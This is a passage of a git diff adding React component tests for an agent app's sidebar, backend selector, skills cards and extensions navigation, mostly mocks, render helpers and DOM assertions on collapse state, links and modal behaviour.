+  ),
+}));
+
+vi.mock(
+  "#/components/features/conversation-panel/conversation-panel-wrapper",
+  () => ({
+    ConversationPanelWrapper: () => null,
+  }),
+);
+
+vi.mock("#/components/shared/modals/settings/settings-modal", () => ({
+  SettingsModal: () => null,
+}));
+
+vi.mock("#/components/features/settings/agent-canvas-version-tile", () => ({
+  AgentCanvasVersionTile: ({
+    hideWhenUpToDate,
+  }: {
+    hideWhenUpToDate?: boolean;
+  } = {}) =>
+    hideWhenUpToDate ? (
+      <button type="button" data-testid="agent-canvas-version-tile">
+        Agent Canvas version
+      </button>
+    ) : null,
+}));
+
+vi.mock("#/components/features/backends/backend-selector", () => ({
+  BackendSelector: ({
+    onSelectOption,
+    onOpenAddBackend,
+    onOpenManageBackends,
+  }: {
+    onSelectOption?: () => void;
+    onOpenAddBackend?: () => void;
+    onOpenManageBackends?: () => void;
+  } = {}) => (
+    <div data-testid="backend-selector">
+      {/*
+        Mimic a backend OPTION row in the dropdown menu — same role/tag the
+        real Dropdown emits. Clicking this should not bubble up to the rail
+        collapse handler.
+       */}
+      <ul>
+        <li
+          data-testid="mock-backend-option"
+          role="option"
+          aria-selected={false}
+          onClick={() => onSelectOption?.()}
+        >
+          Switch backend
+        </li>
+      </ul>
+      <button
+        type="button"
+        data-testid="mock-add-backend"
+        onClick={() => onOpenAddBackend?.()}
+      >
+        Add Backend
+      </button>
+      <button
+        type="button"
+        data-testid="mock-manage-backends"
+        onClick={() => onOpenManageBackends?.()}
+      >
+        Manage Backends
+      </button>
+    </div>
+  ),
+}));
+
+vi.mock("#/components/features/backends/add-backend-modal", () => ({
+  AddBackendModal: ({ onClose }: { onClose: () => void }) => (
+    <div data-testid="add-backend-modal">
+      <button
+        type="button"
+        data-testid="add-backend-modal-close"
+        onClick={onClose}
+      >
+        Close
+      </button>
+    </div>
+  ),
+}));
+
+vi.mock("#/components/features/backends/manage-backends-modal", () => ({
+  ManageBackendsModal: ({ onClose }: { onClose: () => void }) => (
+    <div data-testid="manage-backends-modal">
+      <button
+        type="button"
+        data-testid="manage-backends-modal-close"
+        onClick={onClose}
+      >
+        Close
+      </button>
+    </div>
+  ),
+}));
+
+vi.mock("#/components/features/sidebar/sidebar-conversation-list", () => ({
+  SidebarConversationList: () => (
+    <div data-testid="sidebar-conversation-list" />
+  ),
+}));
+
+vi.mock("#/hooks/use-settings-nav-items", () => ({
+  useSettingsNavItems: () => [],
+}));
+
+function getDesktopSidebar(collapsed?: boolean): HTMLElement {
+  const selector =
+    collapsed === undefined
+      ? "aside[data-collapsed]"
+      : `aside[data-collapsed="${collapsed ? "true" : "false"}"]`;
+  const sidebar = document.querySelector(selector);
+  if (!(sidebar instanceof HTMLElement)) {
+    throw new Error(`Desktop sidebar not found: ${selector}`);
+  }
+  return sidebar;
+}
+
+function renderSidebar(currentPath: string) {
+  const navigate = vi.fn();
+  const value: NavigationContextValue = {
+    currentPath,
+    conversationId: null,
+    isNavigating: false,
+    navigate,
+  };
+
+  const rendered = render(
+    <QueryClientProvider client={new QueryClient()}>
+      <NavigationProvider value={value}>
+        <SidebarMobileNavProvider>
+          <Sidebar />
+          <SidebarMobileMenuBar />
+        </SidebarMobileNavProvider>
+      </NavigationProvider>
+    </QueryClientProvider>,
+  );
+
+  return { ...rendered, navigate };
+}
+
+describe("Sidebar", () => {
+  beforeEach(() => {
+    window.localStorage.clear();
+    // Zustand store is a module singleton; reset it so collapsed state from
+    // a prior test doesn't bleed into this one.
+    useSidebarStore.setState({ collapsed: false });
+  });
+
+  afterEach(() => {
+    window.localStorage.clear();
+    useSidebarStore.setState({ collapsed: false });
+  });
+
+  it("opens and closes the mobile navigation drawer from the menu button", async () => {
+    renderSidebar("/conversations");
+
+    expect(
+      screen.queryByTestId("sidebar-mobile-drawer"),
+    ).not.toBeInTheDocument();
+
+    fireEvent.click(screen.getByTestId("sidebar-mobile-menu-toggle"));
+    const drawer = screen.getByTestId("sidebar-mobile-drawer");
+    expect(drawer).toBeInTheDocument();
+    expect(
+      within(drawer).getByTestId("sidebar-conversation-list"),
+    ).toBeInTheDocument();
+
+    fireEvent.click(within(drawer).getByTestId("sidebar-mobile-drawer-close"));
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("sidebar-mobile-drawer"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  it("toggles between expanded and collapsed states and persists the choice", () => {
+    const { unmount } = renderSidebar("/conversations");
+
+    const sidebar = getDesktopSidebar(false);
+    expect(sidebar.dataset.collapsed).toBe("false");
+
+    const toggle = screen.getByTestId("sidebar-collapse-toggle");
+    fireEvent.click(toggle);
+
+    expect(sidebar.dataset.collapsed).toBe("true");
+
+    // The choice survives a remount via localStorage.
+    unmount();
+    renderSidebar("/conversations");
+    expect(getDesktopSidebar(true).dataset.collapsed).toBe("true");
+  });
+
+  it("expands the sidebar when the toggle is clicked from the collapsed state", () => {
+    // Arrange: simulate a user whose sidebar was previously collapsed.
+    useSidebarStore.setState({ collapsed: true });
+    renderSidebar("/conversations");
+
+    // Act
+    fireEvent.click(screen.getByTestId("sidebar-collapse-toggle"));
+
+    // Assert: state flips back to expanded.
+    expect(getDesktopSidebar(false).dataset.collapsed).toBe("false");
+  });
+
+  it("expands the sidebar when collapsed rail empty space is clicked", () => {
+    useSidebarStore.setState({ collapsed: true });
+    renderSidebar("/conversations");
+
+    const sidebar = getDesktopSidebar(true);
+    expect(sidebar.dataset.collapsed).toBe("true");
+
+    fireEvent.click(sidebar);
+    expect(sidebar.dataset.collapsed).toBe("false");
+  });
+
+  it("shows the version tile above the backend selector when expanded", () => {
+    renderSidebar("/conversations");
+
+    const versionTile = screen.getByTestId("agent-canvas-version-tile");
+    const backendSelector = screen.getByTestId("backend-selector");
+    expect(versionTile.compareDocumentPosition(backendSelector)).toBe(
+      Node.DOCUMENT_POSITION_FOLLOWING,
+    );
+  });
+
+  it("hides the version tile when the sidebar is collapsed", () => {
+    useSidebarStore.setState({ collapsed: true });
+    renderSidebar("/conversations");
+
+    expect(
+      screen.queryByTestId("agent-canvas-version-tile"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows collapsed server/settings action icons when sidebar is collapsed", () => {
+    useSidebarStore.setState({ collapsed: true });
+    renderSidebar("/conversations");
+
+    expect(screen.getByTestId("collapsed-settings-link")).toBeInTheDocument();
+    expect(
+      screen.getByTestId("collapsed-backend-selector-link"),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("backend-status-dot")).toBeInTheDocument();
+  });
+
+  it("navigates to settings when collapsed settings icon is clicked", () => {
+    useSidebarStore.setState({ collapsed: true });
+    const { navigate } = renderSidebar("/conversations");
+
+    fireEvent.click(screen.getByTestId("collapsed-settings-link"));
+    expect(navigate).toHaveBeenCalledWith("/settings", { replace: false });
+  });
+
+  it("opens the backend popover when hovering the collapsed backend icon", async () => {
+    useSidebarStore.setState({ collapsed: true });
+    renderSidebar("/conversations");
+
+    expect(screen.queryByTestId("backend-selector")).not.toBeInTheDocument();
+    const trigger = screen.getByTestId("collapsed-backend-selector-link");
+    const wrapper = trigger.parentElement;
+    if (!wrapper) throw new Error("Popover wrapper not found");
+    fireEvent.mouseEnter(wrapper);
+    expect(await screen.findByTestId("backend-selector")).toBeInTheDocument();
+  });
+
+  it("does NOT expand the sidebar when a backend option in the popover is clicked", async () => {
+    // Bug: clicking a backend <li role='option'> bubbled up to the aside's
+    // rail-collapse handler (which only bails on a/button/[role=button]),
+    // so selecting a backend would expand the sidebar mid-switch.
+    useSidebarStore.setState({ collapsed: true });
+    renderSidebar("/conversations");
+
+    const sidebar = getDesktopSidebar(true);
+    expect(sidebar.dataset.collapsed).toBe("true");
+
+    const trigger = screen.getByTestId("collapsed-backend-selector-link");
+    const popoverContainer = trigger.parentElement;
+    if (!popoverContainer) throw new Error("Popover container not found");
+    fireEvent.mouseEnter(popoverContainer);
+    const option = await screen.findByTestId("mock-backend-option");
+
+    fireEvent.click(option);
+
+    // Sidebar should remain collapsed — selecting a backend should not
+    // collapse-toggle the rail.
+    expect(sidebar.dataset.collapsed).toBe("true");
+  });
+
+  it("keeps the Add Backend modal open after the popover closes", async () => {
+    // Bug: modal state lived inside BackendSelector; once the cursor moved
+    // out of the popover toward the centred modal, mouseLeave closed the
+    // popover, which unmounted BackendSelector and tore the modal down with
+    // it. Modal state must live above the popover to survive its unmount.
+    useSidebarStore.setState({ collapsed: true });
+    renderSidebar("/conversations");
+
+    const trigger = screen.getByTestId("collapsed-backend-selector-link");
+    const popoverContainer = trigger.parentElement;
+    if (!popoverContainer) throw new Error("Popover container not found");
+    fireEvent.mouseEnter(popoverContainer);
+
+    fireEvent.click(await screen.findByTestId("mock-add-backend"));
+
+    // Cursor moves toward the modal -> popover times out and closes.
+    fireEvent.mouseLeave(popoverContainer);
+    await new Promise((resolve) => {
+      setTimeout(resolve, 200);
+    });
+
+    expect(screen.queryByTestId("backend-selector")).not.toBeInTheDocument();
+    expect(await screen.findByTestId("add-backend-modal")).toBeInTheDocument();
+  });
+
+  it("keeps the Manage Backends modal open after the popover closes", async () => {
+    useSidebarStore.setState({ collapsed: true });
+    renderSidebar("/conversations");
+
+    const trigger = screen.getByTestId("collapsed-backend-selector-link");
+    const popoverContainer = trigger.parentElement;
+    if (!popoverContainer) throw new Error("Popover container not found");
+    fireEvent.mouseEnter(popoverContainer);
+
+    fireEvent.click(await screen.findByTestId("mock-manage-backends"));
+    fireEvent.mouseLeave(popoverContainer);
+    await new Promise((resolve) => {
+      setTimeout(resolve, 200);
+    });
+
+    expect(screen.queryByTestId("backend-selector")).not.toBeInTheDocument();
+    expect(
+      await screen.findByTestId("manage-backends-modal"),
+    ).toBeInTheDocument();
+  });
+
+  it("does not bubble mouse events to window when the collapsed backend icon is clicked, so the downshift-driven popover is not torn down mid-hover", () => {
+    // Bug: while the popover was open, left-clicking the tray icon closed
+    // the dropdown menu because downshift attaches its outside-click logic
+    // to window-level mousedown/mouseup. The tray icon is a sibling of the
+    // Dropdown (not one of its tracked elements), so the event reached
+    // downshift and was treated as "outside". The fix stops propagation on
+    // the button so neither event reaches the window listeners that close
+    // the menu.
+    useSidebarStore.setState({ collapsed: true });
+    const windowMouseDown = vi.fn();
+    const windowMouseUp = vi.fn();
+    window.addEventListener("mousedown", windowMouseDown);
+    window.addEventListener("mouseup", windowMouseUp);
+
+    try {
+      renderSidebar("/conversations");
+      const trigger = screen.getByTestId("collapsed-backend-selector-link");
+      const wrapper = trigger.parentElement;
+      if (!wrapper) throw new Error("Popover wrapper not found");
+      fireEvent.mouseEnter(wrapper);
+
+      fireEvent.mouseDown(trigger);
+      fireEvent.mouseUp(trigger);
+
+      expect(windowMouseDown).not.toHaveBeenCalled();
+      expect(windowMouseUp).not.toHaveBeenCalled();
+    } finally {
+      window.removeEventListener("mousedown", windowMouseDown);
+      window.removeEventListener("mouseup", windowMouseUp);
+    }
+  });
+
+  it("renders the Getting Started checklist above the bottom backend bar", () => {
+    renderSidebar("/conversations");
+
+    const automations = screen.getByTestId("sidebar-automations-link");
+    const checklist = screen.getByTestId("sidebar-onboarding-checklist");
+    const backendBar = screen.getByTestId("backend-selector");
+
+    expect(
+      automations.compareDocumentPosition(checklist) &
+        Node.DOCUMENT_POSITION_FOLLOWING,
+    ).toBeTruthy();
+    expect(
+      checklist.compareDocumentPosition(backendBar) &
+        Node.DOCUMENT_POSITION_FOLLOWING,
+    ).toBeTruthy();
+  });
+
+  it("renders icons for every top-level nav item so they remain meaningful in the collapsed rail", () => {
+    renderSidebar("/conversations");
+
+    for (const testId of [
+      "sidebar-conversations-link",
+      "sidebar-automations-link",
+      "sidebar-skills-link",
+    ]) {
+      const link = screen.getByTestId(testId);
+      expect(link.querySelector("svg")).not.toBeNull();
+    }
+  });
+
+  it("renders the renamed top-level nav labels", () => {
+    // Arrange
+    renderSidebar("/conversations");
+
+    // Act + Assert: each top-level nav link surfaces its new user-facing label.
+    expect(screen.getByTestId("sidebar-conversations-link")).toHaveTextContent(
+      "New Chat",
+    );
+    expect(screen.getByTestId("sidebar-skills-link")).toHaveTextContent(
+      "Customize",
+    );
+    expect(screen.getByTestId("sidebar-automations-link")).toHaveTextContent(
+      "Automate",
+    );
+  });
+
+  it("pins and unpins a sidebar page as the home route without navigating", () => {
+    // Arrange: the mocked active backend is `local` with no org.
+    const pinKey = getPinnedHomeRouteKey("local", null);
+    const { navigate } = renderSidebar("/conversations");
+    const pinToggle = screen.getByTestId("sidebar-pin-home-toggle-customize");
+    expect(pinToggle).toHaveAttribute("aria-pressed", "false");
+    expect(pinToggle).toHaveAttribute("aria-label", "Pin as home page");
+
+    // Act: pin Customize as the home page.
+    fireEvent.click(pinToggle);
+
+    // Assert: the toggle flips and the pin persists for the active backend.
+    expect(pinToggle).toHaveAttribute("aria-pressed", "true");
+    expect(pinToggle).toHaveAttribute("aria-label", "Unpin as home page");
+    expect(window.localStorage.getItem(pinKey)).toBe(
+      JSON.stringify("/customize"),
+    );
+    expect(navigate).not.toHaveBeenCalled();
+
+    // Act: unpin from the same control.
+    fireEvent.click(pinToggle);
+
+    // Assert: the pin is gone.
+    expect(pinToggle).toHaveAttribute("aria-pressed", "false");
+    expect(window.localStorage.getItem(pinKey)).not.toBe(
+      JSON.stringify("/customize"),
+    );
+  });
+});
diff --git a/__tests__/components/features/skills/build-skill-pills.test.tsx b/__tests__/components/features/skills/build-skill-pills.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..434a240e3ad67ddb7721c8f76302d36ee5b4e2ca
--- /dev/null
+++ b/__tests__/components/features/skills/build-skill-pills.test.tsx
@@ -0,0 +1,57 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import type { TFunction } from "i18next";
+import { buildSkillPills } from "#/components/features/skills/build-skill-pills";
+import type { SkillCardPill } from "#/components/features/skills/skill-card-pill-row";
+import type { SkillInfo } from "#/types/settings";
+
+/** Returns its key unchanged, for assertions that do not care about copy. */
+const translate = ((key: string) => key) as TFunction;
+
+function buildSkill(overrides: Partial<SkillInfo> = {}): SkillInfo {
+  return {
+    name: "deno",
+    type: "knowledge",
+    source: "public",
+    category: "environment",
+    triggers: [],
+    ...overrides,
+  };
+}
+
+/** Mounts the built pills so their rendered output can be asserted. */
+function renderPills(pills: SkillCardPill[]) {
+  render(
+    <div>
+      {pills.map((pill) => (
+        <span key={pill.id}>{pill.node}</span>
+      ))}
+    </div>,
+  );
+}
+
+describe("buildSkillPills category pill", () => {
+  it("renders the catalog category", () => {
+    renderPills(
+      buildSkillPills(buildSkill({ category: "environment" }), translate),
+    );
+
+    expect(screen.getByTestId("skill-category-deno")).toHaveTextContent(
+      "SETTINGS$SKILLS_CATEGORY_ENVIRONMENT",
+    );
+  });
+
+  it("omits the pill when the skill is uncategorized", () => {
+    renderPills(buildSkillPills(buildSkill({ category: null }), translate));
+
+    expect(screen.queryByTestId("skill-category-deno")).not.toBeInTheDocument();
+  });
+
+  it("places the category pill directly after the type badge", () => {
+    // Order is asserted on pill ids, so no rendering is needed here.
+    const pills = buildSkillPills(buildSkill(), translate);
+
+    expect(pills[0]!.id).toBe("type-knowledge");
+    expect(pills[1]!.id).toBe("category-environment");
+  });
+});
diff --git a/__tests__/components/features/skills/extensions-mobile-hub.test.tsx b/__tests__/components/features/skills/extensions-mobile-hub.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..31054bbf06ba7ebc3719654a1f9907245ae35462
--- /dev/null
+++ b/__tests__/components/features/skills/extensions-mobile-hub.test.tsx
@@ -0,0 +1,102 @@
+import type { ReactNode } from "react";
+import { render, screen, within } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it } from "vitest";
+import { MemoryRouter } from "react-router";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { ExtensionsMobileHub } from "#/components/features/skills/extensions-mobile-hub";
+
+const cloudBackend: Backend = {
+  id: "cloud-1",
+  name: "OpenHands Cloud",
+  host: "https://app.all-hands.dev",
+  apiKey: "token",
+  kind: "cloud",
+};
+
+function renderMobileHub(ui: ReactNode) {
+  return render(
+    <QueryClientProvider
+      client={
+        new QueryClient({ defaultOptions: { queries: { retry: false } } })
+      }
+    >
+      <ActiveBackendProvider>
+        <MemoryRouter>{ui}</MemoryRouter>
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+describe("ExtensionsMobileHub", () => {
+  beforeEach(() => {
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+  });
+
+  afterEach(() => {
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+  });
+
+  it("renders the Plugins item as an enabled link", () => {
+    renderMobileHub(<ExtensionsMobileHub />);
+
+    const hub = screen.getByTestId("extensions-mobile-hub");
+    const pluginsItem = within(hub).getByTestId("sidebar-extensions-/plugins");
+    expect(pluginsItem).not.toHaveAttribute("aria-disabled");
+  });
+
+  it("links Apps to its management page", () => {
+    renderMobileHub(<ExtensionsMobileHub />);
+
+    const hub = screen.getByTestId("extensions-mobile-hub");
+    expect(within(hub).getByTestId("sidebar-extensions-/apps")).toHaveAttribute(
+      "href",
+      "/apps",
+    );
+  });
+
+  describe("cloud backend", () => {
+    it("renders the Skills item as an external link to {cloudHost}/settings/skills with the renamed label", () => {
+      setRegisteredBackends([cloudBackend]);
+      setActiveSelection({ backendId: cloudBackend.id });
+
+      renderMobileHub(<ExtensionsMobileHub />);
+
+      const hub = screen.getByTestId("extensions-mobile-hub");
+      const skillsItem = within(hub).getByTestId("sidebar-extensions-/skills");
+      expect(skillsItem.tagName).toBe("A");
+      expect(skillsItem).toHaveAttribute(
+        "href",
+        "https://app.all-hands.dev/settings/skills",
+      );
+      expect(skillsItem).toHaveAttribute("target", "_blank");
+      expect(skillsItem).toHaveAttribute("rel", "noopener noreferrer");
+      expect(skillsItem).toHaveTextContent(
+        "SIDEBAR$SKILLS_AND_PLUGINS_CLOUD_LINK",
+      );
+    });
+
+    it("hides the Plugins and Apps items", () => {
+      setRegisteredBackends([cloudBackend]);
+      setActiveSelection({ backendId: cloudBackend.id });
+
+      renderMobileHub(<ExtensionsMobileHub />);
+
+      const hub = screen.getByTestId("extensions-mobile-hub");
+      expect(
+        within(hub).queryByTestId("sidebar-extensions-/plugins"),
+      ).not.toBeInTheDocument();
+      expect(
+        within(hub).queryByTestId("sidebar-extensions-/apps"),
+      ).not.toBeInTheDocument();
+    });
+  });
+});
diff --git a/__tests__/components/features/skills/extensions-navigation.test.tsx b/__tests__/components/features/skills/extensions-navigation.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..0f44e3f5dc4cafd9d84f6b508a99003eadb5c233
--- /dev/null
+++ b/__tests__/components/features/skills/extensions-navigation.test.tsx
@@ -0,0 +1,213 @@
+import type { ReactNode } from "react";
+import { render, screen, within } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { MemoryRouter } from "react-router";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { useSidebarStore } from "#/stores/sidebar-store";
+
+import { ExtensionsNavigation } from "#/components/features/skills/extensions-navigation";
+
+vi.mock("react-i18next", async (importOriginal) => ({
+  ...(await importOriginal<typeof import("react-i18next")>()),
+  useTranslation: () => ({
+    t: (key: string) => (key === "NAV$EXTENSIONS" ? "Apps" : key),
+    i18n: { language: "en", exists: () => false },
+  }),
+}));
+
+const cloudBackend: Backend = {
+  id: "cloud-1",
+  name: "OpenHands Cloud",
+  host: "https://app.all-hands.dev",
+  apiKey: "token",
+  kind: "cloud",
+};
+
+function renderExtensionsNavigation(ui: ReactNode) {
+  return render(
+    <QueryClientProvider
+      client={
+        new QueryClient({ defaultOptions: { queries: { retry: false } } })
+      }
+    >
+      <ActiveBackendProvider>
+        <MemoryRouter>{ui}</MemoryRouter>
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+describe("ExtensionsNavigation", () => {
+  beforeEach(() => {
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+  });
+
+  afterEach(() => {
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+  });
+
+  it("renders the MCP item as a clickable link for non-ACP agents", () => {
+    renderExtensionsNavigation(<ExtensionsNavigation />);
+
+    const nav = screen.getByTestId("extensions-navbar-desktop");
+    const mcpItem = within(nav).getByTestId("sidebar-extensions-/mcp");
+    expect(mcpItem).not.toHaveAttribute("aria-disabled");
+    // `NavigationLink` renders as <a> with an href so direct URL
+    // navigation works.
+    expect(mcpItem.tagName).toBe("A");
+  });
+
+  it("keeps the MCP item clickable when ACP is active", () => {
+    // ACP agents now forward ``mcp_config`` to their subprocess at session
+    // creation, so the MCP page is meaningful under ACP too — it is no
+    // longer greyed out (unlike /settings and /settings/condenser, which
+    // stay inert for ACP).
+    renderExtensionsNavigation(<ExtensionsNavigation />);
+
+    const nav = screen.getByTestId("extensions-navbar-desktop");
+    const mcpItem = within(nav).getByTestId("sidebar-extensions-/mcp");
+    expect(mcpItem).not.toHaveAttribute("aria-disabled");
+    expect(mcpItem.tagName).toBe("A");
+  });
+
+  it("leaves the Skills item clickable", () => {
+    renderExtensionsNavigation(<ExtensionsNavigation />);
+
+    const nav = screen.getByTestId("extensions-navbar-desktop");
+    const skillsItem = within(nav).getByTestId("sidebar-extensions-/skills");
+    expect(skillsItem).not.toHaveAttribute("aria-disabled");
+    expect(skillsItem.tagName).toBe("A");
+  });
+
+  it("orders MCP Servers before Skills and Plugins", () => {
+    renderExtensionsNavigation(<ExtensionsNavigation />);
+
+    const nav = screen.getByTestId("extensions-navbar-desktop");
+    const navigationItems = within(nav).getAllByRole("link");
+
+    expect(navigationItems.map((item) => item.textContent)).toEqual([
+      "MCP Servers",
+      "Skills",
+      "Plugins",
+      "Apps",
+    ]);
+  });
+
+  it("links Apps to its management page", () => {
+    renderExtensionsNavigation(<ExtensionsNavigation />);
+
+    const nav = screen.getByTestId("extensions-navbar-desktop");
+    expect(within(nav).getByTestId("sidebar-extensions-/apps")).toHaveAttribute(
+      "href",
+      "/apps",
+    );
+  });
+
+  it("renders the Plugins item as a live link without a Coming Soon badge", () => {
+    renderExtensionsNavigation(<ExtensionsNavigation />);
+
+    const nav = screen.getByTestId("extensions-navbar-desktop");
+    const pluginsItem = within(nav).getByTestId("sidebar-extensions-/plugins");
+    expect(pluginsItem.tagName).toBe("A");
+    expect(pluginsItem).not.toHaveAttribute("aria-disabled");
+    expect(
+      within(pluginsItem).queryByText("NAV$COMING_SOON"),
+    ).not.toBeInTheDocument();
+  });
+
+  describe("cloud backend", () => {
+    it("renders the Skills item as an external link to {cloudHost}/settings/skills with the renamed label", () => {
+      setRegisteredBackends([cloudBackend]);
+      setActiveSelection({ backendId: cloudBackend.id });
+
+      renderExtensionsNavigation(<ExtensionsNavigation />);
+
+      const nav = screen.getByTestId("extensions-navbar-desktop");
+      const skillsItem = within(nav).getByTestId("sidebar-extensions-/skills");
+      expect(skillsItem.tagName).toBe("A");
+      expect(skillsItem).toHaveAttribute(
+        "href",
+        "https://app.all-hands.dev/settings/skills",
+      );
+      expect(skillsItem).toHaveAttribute("target", "_blank");
+      expect(skillsItem).toHaveAttribute("rel", "noopener noreferrer");
+      expect(skillsItem).toHaveTextContent(
+        "SIDEBAR$SKILLS_AND_PLUGINS_CLOUD_LINK",
+      );
+    });
+
+    it("hides the Plugins and Apps items", () => {
+      setRegisteredBackends([cloudBackend]);
+      setActiveSelection({ backendId: cloudBackend.id });
+
+      renderExtensionsNavigation(<ExtensionsNavigation />);
+
+      const nav = screen.getByTestId("extensions-navbar-desktop");
+      expect(
+        within(nav).queryByTestId("sidebar-extensions-/plugins"),
+      ).not.toBeInTheDocument();
+      expect(
+        within(nav).queryByTestId("sidebar-extensions-/apps"),
+      ).not.toBeInTheDocument();
+    });
+
+    it("leaves the MCP Servers item as an in-app link", () => {
+      setRegisteredBackends([cloudBackend]);
+      setActiveSelection({ backendId: cloudBackend.id });
+
+      renderExtensionsNavigation(<ExtensionsNavigation />);
+
+      const nav = screen.getByTestId("extensions-navbar-desktop");
+      const mcpItem = within(nav).getByTestId("sidebar-extensions-/mcp");
+      expect(mcpItem).not.toHaveAttribute("target");
+      expect(mcpItem).toHaveAttribute("href", "/mcp");
+    });
+  });
+
+  // Regression: the nav used to suppress itself at iPad-portrait widths
+  // (768–1023px) whenever the primary Sidebar was expanded, leaving users
+  // on /skills, /mcp, and /plugins with no way to switch between those
+  // pages. It must stay rendered there, like the Settings secondary nav.
+  describe("tablet viewports", () => {
+    const originalInnerWidth = window.innerWidth;
+
+    function setViewport(width: number) {
+      Object.defineProperty(window, "innerWidth", {
+        configurable: true,
+        writable: true,
+        value: width,
+      });
+    }
+
+    afterEach(() => {
+      setViewport(originalInnerWidth);
+      // The Zustand sidebar store is a module singleton — reset it so this
+      // suite's state doesn't bleed into other tests.
+      useSidebarStore.setState({ collapsed: false });
+    });
+
+    it("stays rendered at iPad portrait width while the Sidebar is expanded", () => {
+      // Arrange: iPad Air portrait viewport with the primary Sidebar
+      // expanded — the exact conditions that previously hid the nav.
+      setViewport(820);
+      useSidebarStore.setState({ collapsed: false });
+
+      // Act
+      renderExtensionsNavigation(<ExtensionsNavigation />);
+
+      // Assert
+      expect(
+        screen.getByTestId("extensions-navbar-desktop"),
+      ).toBeInTheDocument();
+    });
+  });
+});
diff --git a/__tests__/components/features/skills/get-skill-card-description.test.ts b/__tests__/components/features/skills/get-skill-card-description.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..fce693ba5cc1349fc68d8dbb9646876beecac933
--- /dev/null
+++ b/__tests__/components/features/skills/get-skill-card-description.test.ts
@@ -0,0 +1,53 @@
+import { describe, expect, it } from "vitest";
+import { getSkillCardDescription } from "#/components/features/skills/get-skill-card-description";
+import type { SkillInfo } from "#/types/settings";
+
+function buildSkill(overrides: Partial<SkillInfo> = {}): SkillInfo {
+  return {
+    name: "test",
+    type: "knowledge",
+    source: null,
+    ...overrides,
+  };
+}
+
+describe("getSkillCardDescription", () => {
+  it("prefers the API description field when present", () => {
+    expect(
+      getSkillCardDescription(
+        buildSkill({ description: "From API", content: "ignored body" }),
+      ),
+    ).toBe("From API");
+  });
+
+  it("reads description from YAML frontmatter in content", () => {
+    const content = `---
+description: SSH helper for remote hosts
+name: SSH Microagent
+---
+# SSH Microagent
+
+Body paragraph that should not be used first.
+`;
+
+    expect(getSkillCardDescription(buildSkill({ content }))).toBe(
+      "SSH helper for remote hosts",
+    );
+  });
+
+  it("falls back to the first body paragraph when no description exists", () => {
+    const content = `# My Skill
+
+First paragraph for the card.
+
+Second paragraph.`;
+
+    expect(getSkillCardDescription(buildSkill({ content }))).toBe(
+      "First paragraph for the card.",
+    );
+  });
+
+  it("returns an empty string when neither description nor content exists", () => {
+    expect(getSkillCardDescription(buildSkill())).toBe("");
+  });
+});
diff --git a/__tests__/components/features/skills/get-skill-chat-launch-message.test.ts b/__tests__/components/features/skills/get-skill-chat-launch-message.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..8c6cdb24e0238de07d53eda7a74cd13a549db868
--- /dev/null
+++ b/__tests__/components/features/skills/get-skill-chat-launch-message.test.ts
@@ -0,0 +1,20 @@
+import { describe, expect, it } from "vitest";
+import {
+  ADD_SKILL_EXAMPLE_COMMAND,
+  ADD_SKILL_SKILL_NAME,
+} from "#/constants/skills-docs";
+import { getSkillChatLaunchMessage } from "#/components/features/skills/get-skill-chat-launch-message";
+
+describe("getSkillChatLaunchMessage", () => {
+  it("returns the full add-skill example command for the add-skill skill", () => {
+    expect(getSkillChatLaunchMessage({ name: ADD_SKILL_SKILL_NAME })).toBe(
+      ADD_SKILL_EXAMPLE_COMMAND,
+    );
+  });
+
+  it("returns a slash-command prefix for other skills", () => {
+    expect(getSkillChatLaunchMessage({ name: "agent-builder" })).toBe(
+      "/agent-builder ",
+    );
+  });
+});
diff --git a/__tests__/components/features/skills/is-copyable-skill-source.test.ts b/__tests__/components/features/skills/is-copyable-skill-source.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..cfea108d8bc2e187c6f103f8526a50b1471c9941
--- /dev/null
+++ b/__tests__/components/features/skills/is-copyable-skill-source.test.ts
@@ -0,0 +1,19 @@
+import { describe, expect, it } from "vitest";
+import { isCopyableSkillSource } from "#/components/features/skills/is-copyable-skill-source";
+
+describe("isCopyableSkillSource", () => {
+  it("returns false for scope labels and empty values", () => {
+    expect(isCopyableSkillSource(null)).toBe(false);
+    expect(isCopyableSkillSource("")).toBe(false);
+    expect(isCopyableSkillSource("global")).toBe(false);
+    expect(isCopyableSkillSource("agent")).toBe(false);
+  });
+
+  it("returns true for filesystem paths and URLs", () => {
+    expect(isCopyableSkillSource("/skills/deno/SKILL.md")).toBe(true);
+    expect(isCopyableSkillSource(".agents/skills/foo/SKILL.md")).toBe(true);
+    expect(
+      isCopyableSkillSource("https://github.com/example/skills"),
+    ).toBe(true);
+  });
+});
diff --git a/__tests__/components/features/skills/skill-card-pill-row.test.tsx b/__tests__/components/features/skills/skill-card-pill-row.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..45862f1a46572e0741bca0da0afef5732d930e43
--- /dev/null
+++ b/__tests__/components/features/skills/skill-card-pill-row.test.tsx
@@ -0,0 +1,195 @@
+import React from "react";
